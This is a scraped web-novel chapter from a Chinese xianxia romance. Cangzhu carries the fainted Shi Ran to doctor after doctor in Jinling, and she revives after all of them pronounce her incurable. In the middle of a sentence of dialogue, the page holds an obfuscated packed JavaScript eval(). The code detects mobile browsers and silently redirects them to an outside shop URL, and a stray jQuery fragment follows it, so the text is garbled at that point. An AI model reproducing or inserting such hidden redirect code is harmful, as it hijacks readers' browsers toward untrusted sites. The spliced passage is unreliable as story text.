文趣网 > 其他小说 > 仙尊的过期白月光 > 8. 第 8 章 “我是大夫。”
    “我是大夫。”

    从人群中挤出一位青衫少年,他举着手高呼。

    “我是大夫,让我看看。”

    苍术闻言,也不敢再耽搁,连忙将时然抱至少年面前,满脸急切地说:

    “她刚刚还好端端地同我说话,突然间就倒下去了。”

    “你快看看到底是怎么回事。”

    青衫少年点了下头作为应答,目光落在怀里的少女上时,眼中是一闪而过的惊艳之色。

    世间怎能有如此绝色脱俗的美人,冰肌玉骨,我见犹怜。

    他深呼一口气,从怀中取出一方手绢轻轻搭在少女雪白的腕上。

    他的指尖刚搭上少女的脉,便脸色大变,眉头紧锁,随后似是不信邪一般又挪了挪仔细查看。

    “大夫,时姑娘到底是怎么了?”苍术见这年轻大夫面色难看,心中越发紧张,生怕时然有个好歹。

    “哎。”青衫少年收回手,长叹一声,暗自感慨可惜,当真是红颜薄命啊。

    “敢问兄台,你和这位姑娘是何关系?”

    苍术一时间不知如何作答,说朋友,好似太浅,也怕污了时姑娘的名声,说情人,他想,时姑娘却从未同意。

    苍术思前想后,支吾着说:

    “我是她的兄长。”

    “这些都不重要,你快告诉我,时姑娘到底怎么样了?”

    “这位姑娘病入膏肓,已无药可医。”青衫少年叹道,“你若是她的家人,便为她准备后事吧。”

    苍术顿时如遭雷劈,直愣愣地站在原地,整个人仿佛是傻了一般,他怔愣了大概有一口茶的时间,随即怒声道:

    “不可能!”

    “你这个庸医!时姑娘好端端的怎么会死?你休要咒她!”

    “她还这么年轻,一定不会有事,一定不会,她只是……只是一路奔波太累了而已,只要好好休息休息,养上一养就会没事了。”

    苍术紧紧抱着时然低声呢喃着,他不愿相信,也不肯相信时然病入膏肓,药石无医。

    “你救不了她,金陵城还有别的大夫,我不信偌大的金陵没有一人能治时姑娘的病!”

    苍术说完,抱起时然就匆匆往别的医馆去寻大夫。

    青衫少年轻叹一声,望着两人远去的背影,摇头道:

    “那姑娘的脉象气若游丝,如风吹毛,乃五脏皆损,阴阳离决之兆,便是大罗神仙也难救啊。”

    金陵城大,苍术抱着时然从天亮走到天黑,几乎走遍了金陵所有的医馆,每一位大夫搭完时然的脉,都摇着头叹气。

    “哎,药石无医了,公子节哀。”

    “老夫无能无力,公子还是去别家看看。”

    “大限将至,公子还是预备后事吧。”

    “寸口脉已散,元气已脱,怕是不出两个时辰了。”

    “我行医数十载,最怕见得便是此等败脉,气机已绝,神仙难救。”

    “哎,我医术不精,救不了这位姑娘,公子另请高明吧。”

    “这脉象……已是大限将至,若这姑娘醒了,顺着她的意,想吃什么吃点什么,想做什么就做点什么。”

    这样的话,苍术今日不知听了多少遍。

    开始他抱着时然一家一家跑,察觉到怀中的人一点点变得微弱的呼吸,看着她的肌肤一点点苍白至发青,感受着她逐渐冰冷的体温。

    哪怕他再自欺欺人,也明白大夫们说得是对的。

    但他不甘心,也不愿相信时然会如此突兀地香消玉殒。

    他怕时然受风,也深知时然再经不起任何颠簸,因而找了间客栈将她安安稳稳地放在床上,花钱请店小二为他请来城里所有有名有姓的名医。

    可所有人都摇着头叹息,告诉他时姑娘药石无医了。

    苍术送走最后一位大夫,窗外明月高悬,人声鼎沸,远处还有灿烂的烟花在寂静的黑夜升腾而起照亮整个夜空引来游人阵阵欢呼,屋内却静的可怕。

    苍术撩起床幔看向静静躺在床上的少女,前几日还活蹦乱跳地跟着他,同他一起抓鱼,一起狩猎,一起烤肉,一起走过万水千山。

    他们约好要一起看金陵的烟花,品金陵的珍馐,可才刚到金陵,她就这么毫无预兆地倒下来了。

    “他们都说你不能活了。”苍术低沉的声音在房间里响起,指尖想要触碰她的脸颊,却颤了颤又收回了手,眼中是灰败的死寂和跳跃的疯狂,“我偏不信,你看啊,窗外的烟花多漂亮,我们说好要一起看烟花……”

    苍术闭上眼弯腰将滑落的锦被往上拉了拉,起身朝屋外走去,刚出了门,店小二就又带了一人气喘吁吁地迎了上来。

    “客官,这是我又为您请的一位大夫,我带他进去给小姐看病。”

    “不必了。”苍术摆手拒绝。

    店小二怔了下,心中暗道,这人怕是已经认命了,若人真死在他们小店也着实晦气。

    不过那姑娘当真是可惜了,生得那般标志,像画上的仙女似得。

    “不看了?那你着急忙慌,催爷爷告奶奶地请我来,这不是耍人玩吗?哼。”

    这大夫言罢,甩袖就走。

    店小二见状连忙跟了上去在他耳边低语了几句。

    “您担待些,他这妹子怕是不行了。”

    苍术着实没有心情搭理他们二人,从怀中取出一物放在掌心摩挲着,眼神从犹疑逐渐变得坚定。

    这是他下山时师父给他的令牌,师父曾对他说过,此番下山若是遇上解决不了的问题,便可摔碎此物,届时万法归身,且自有师门相助,但……

    但一旦摔碎此玉他就要重回玉清宫闭关清修,此生不得再下山入凡尘。

    在凡间游历的二十年,是他最痛快的二十年,他甚至想过要一辈子留在凡间。

    苍术摸了下玉牌,又回眸看了眼紧闭的房门,罢了,若是能救得时姑娘,就算在玉清宫待到死他也心甘情愿。

    苍术想到这儿,举起手就要摔了玉牌,却忽而听见门被人推开的声音,紧接着是店小二的一声惊呼。

    “天菩萨,您活过来了?!”

    “姑娘,您还好吗?有没有哪儿不舒服?”

    “大夫,大夫,人活了,您再来看看啊!”

    店小二高呼的声音伴随着脚步声越来越远,苍术不可置信地转过头去,就看见时然好端端地站在门后。

    一双剔透纯澈如黑葡萄般的眼眸不解地望着远走的店小二,微微歪了歪头像是一头迷失在丛林的小鹿。

    她的目光落在苍术脸上时,顿时眼眸一亮,笑容温婉,言语间有几分不好意思:

    “对……对不起,我……我是不是吓着你了?”

    苍术的一颗心欢喜得都快要跳出来了,上天怜他,又将她送回他身边了。

    他就知道时姑娘不会有事的,金陵的那些大夫全都是庸医,明明好好一个人却都说什么命不久矣,当真可恶!

    苍术一边暗想以后要不要看看医书,一边又快步走到时然面前,满脸关切地问:

    “时姑娘,你……你没事吧?你现在感觉还好吗,有没有哪里不舒服,要不要我再找大夫来

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17647434|206810||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    帮你看看。”

    时然摇摇头,笑容恬淡而温柔,说话的声音轻柔得好似温柔的春风,使人一听就周身愉悦。

    “我没事了,也没有哪里不舒服。”

    时然想了想,补充道:“对不起啊,吓到你了,这是我自幼的老毛病了,一旦身体过度劳累就会晕过去。”

    “没事的,你让我自己睡一会就好了。”

    苍术仔细观察着时然的脸,她的脸依旧很白,但不再是那种毫无生机的青白,唇上的颜色也变得红润,看上去确实比刚刚好了很多。

    “吓死我了,我还以为……”苍术顿了顿,继续道,“金陵城尽是些庸医,竟说你药石无医了,当真蠢得可怜。”

    时然轻柔柔地笑了下,没有说话。

    其实那些大夫也没诊错,她确实药石无医了。

    苍术愤愤不平地说着,余光却还在观察着时然的神色。

    虽说时然说自己没事了,但刚刚的阵仗实在不像没事的样子。

    苍术自己也知道他请了金陵城那么多大夫,各个都说没救了,就算其中有几个医术不精的混账,但不可能各个都医术不精。

    那么……也只有一种可能。

    时然确实生病了,而且生得绝不是普通的病,是怪病,奇病,因而那些人诊不出。

    若时然下次再晕倒怎么办,若下次晕倒时然再也醒不过来了怎么办?

    苍术心中有一万个问题想问,却又担心唐突了时然。

    “苍术,我想吃糖人。”时然走上前来,目光期翼地望着他。

    这时,窗外又是一声炸雷,时然转头一看就透过窗瞧见无比绚烂的烟花,顿时兴奋起来。

    “哇,好漂亮的烟花,外面好热闹啊。”

    “苍术,我们出去好不好?”

    “我想吃糖人,想看烟花,想泛舟湖上,诗酒唱和。”

    苍术还在担心时然的身体,尤其在得知时然是因太累了而晕倒后,就更不敢再让时然累着了。

    “时姑娘,你刚刚苏醒,身体还未恢复,还是再休息一晚,明日我再陪你出门可好?”

    时然的眼睫颤了颤,似是因苍术的拒绝而心痛万分。

    瞧着她脆弱的模样,苍术只觉自己罪大恶极,怎能拒绝她的请求。

    他咬了咬牙,强忍下不忍之心,转过头去不再看她,继续劝道:

    “时姑娘,你……方才也说了,你是因太累了而晕倒,若再强行出门,我担心你的身体受不了。”

    “我现在已经没事了。”时然不甘心地说道。

    她话音刚落,店小二就又带着大夫去而复返,那大夫正好听见这一句,便顺嘴接道:

    “有事没事让我这大夫瞧上一瞧。”

    时然听见这话,捂住手腕后退一步,道:

    “我不要看。”

    时然最不喜欢看大夫了,她先前看过无数次大夫,每一位大夫都会对她摇摇头,低叹一声,留下一句可惜了。

    她不想再听见这样的评价,人生的最后阶段,她只想痛痛快快,不留遗憾地玩一场。

    “时姑娘,讳疾忌医可万万不可取。”

    时然咬着唇不说话,目光倔强地看着苍术,心里盘算着剩余的机会能不能让她从这儿逃开,独自一人去看夜景。

    可……她又想到苍术这段时间的悉心陪伴,若是无人作伴,似乎再好的景也少了乐趣。

    时然正在两难间,苍术走上前,软了下语气:

    “时姑娘,若大夫检查过你无恙,我立刻陪你出门游玩,可好?”